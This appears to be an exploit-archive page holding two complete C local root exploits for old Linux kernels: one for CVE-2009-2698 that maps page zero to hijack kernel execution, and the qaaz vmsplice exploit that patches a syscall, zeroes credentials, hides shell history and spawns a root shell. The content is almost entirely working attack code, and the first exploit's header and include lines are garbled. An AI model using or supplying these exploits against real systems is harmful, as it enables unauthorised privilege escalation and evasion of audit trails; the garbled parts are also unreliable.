Linux kernel 2.6 < 2.6.19

l/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < uid="0(root)" gid="0(root)" groups="500(x82)" context="user_u:system_r:unconfined_t">.
**
*/

#include
#include
#include
#include
#include
#include
#include

unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
unsigned *addr=task;
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
addr++;
}
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
return;
}
void exploit();
void kernel_code()
{
asm("exploit:\n"
"push %eax\n"
"movl $0xfffff000,%eax\n"
"andl %esp,%eax\n"
"pushl (%eax)\n"
"call get_root_uid\n"
"addl $4,%esp\n"
"popl %eax\n");
return;
}
void *kernel=kernel_code;

int main(int argc, char **argv)
{
int fd=0;
char buf[1024];
struct sockaddr x0x;
void *zero_page;

uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(unsigned long *)0x0=0x90909090;
*(char *)0x00000004=0x90; /* +1 */
*(char *)0x00000005=0xff;
*(char *)0x00000006=0x25;
*(unsigned long *)0x00000007=(unsigned long)&kernel;
*(char *)0x0000000b=0xc3;

if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
if(getuid()==uid){
printf("[-] exploit failed, try again\n");
return -1;
}
close(fd);
execl("/bin/sh","sh","-i",NULL);
return 0;
}

/* eoc */

// milw0rm.com [2009-08-31]

Download All

Linux 2.6.23 - 2.6.24

/*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 

#define TARGET_PATTERN  " sys_vm86old"
#define TARGET_SYSCALL  113

#ifndef __NR_vmsplice
#define __NR_vmsplice  316
#endif

#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()  syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE  (void *) trampoline 
#define TRAMP_SIZE  ( sizeof(trampoline) - 1 )

unsigned char trampoline[] =
"\x8b\x5c\x24\x04"  /* mov    0x4(%esp),%ebx */
"\x8b\x4c\x24\x08"  /* mov    0x8(%esp),%ecx */
"\x81\xfb\x69\x7a\x00\x00" /* cmp    $31337,%ebx  */
"\x75\x02"   /* jne    +2   */
"\xff\xd1"   /* call   *%ecx   */
"\xb8\xea\xff\xff\xff"  /* mov    $-EINVAL,%eax  */
"\xc3"    /* ret    */
;

void die(char *msg, int err)
{
 printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
 fflush(stdout);
 fflush(stderr);
 exit(1);
}

long get_target()
{
 FILE *f;
 long addr = 0;
 char line[128];

 f = fopen("/proc/kallsyms", "r");
 if (!f) die("/proc/kallsyms", errno);

 while (fgets(line, sizeof(line), f)) {
  if (strstr(line, TARGET_PATTERN)) {
   addr = strtoul(line, NULL, 16);
   break;
  }
 }

 fclose(f);
 return addr;
}

static inline __attribute__((always_inline))
void * get_current()
{
 unsigned long curr;
 __asm__ __volatile__ (
 "movl %%esp, %%eax ;"
 "andl %1, %%eax ;"
 "movl (%%eax), %0"
 : "=r" (curr)
 : "i" (~8191)
 );
 return (void *) curr;
}

static uint uid, gid;

void kernel_code()
{
 int i;
 uint *p = get_current();

 for (i = 0; i < 1024-13; i++) {
  if (p[0] == uid && p[1] == uid &&
      p[2] == uid && p[3] == uid &&
      p[4] == gid && p[5] == gid &&
      p[6] == gid && p[7] == gid) {
   p[0] = p[1] = p[2] = p[3] = 0;
   p[4] = p[5] = p[6] = p[7] = 0;
   p = (uint *) ((char *)(p + 8) + sizeof(void *));
   p[0] = p[1] = p[2] = ~0;
   break;
  }
  p++;
 } 
}

int main(int argc, char *argv[])
{
 int  pi[2];
 long  addr;
 struct iovec iov;

 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);

 printf("-----------------------------------\n");
 printf(" Linux vmsplice Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("-----------------------------------\n");

 if (!uid || !gid)
  die("!@#$", 0);

 addr = get_target();
 printf("[+] addr: 0x%lx\n", addr);

 if (pipe(pi) < 0)
  die("pipe", errno);

 iov.iov_base = (void *) addr;
 iov.iov_len  = TRAMP_SIZE;

 write(pi[1], TRAMP_CODE, TRAMP_SIZE);
 _vmsplice(pi[0], &iov, 1, 0);

 gimmeroot();

 if (getuid() != 0)
  die("wtf", 0);

 printf("[+] root\n");
 putenv("HISTFILE=/dev/null");
 execl("/bin/bash", "bash", "-i", NULL);
 die("/bin/bash", errno);
 return 0;
}


Download All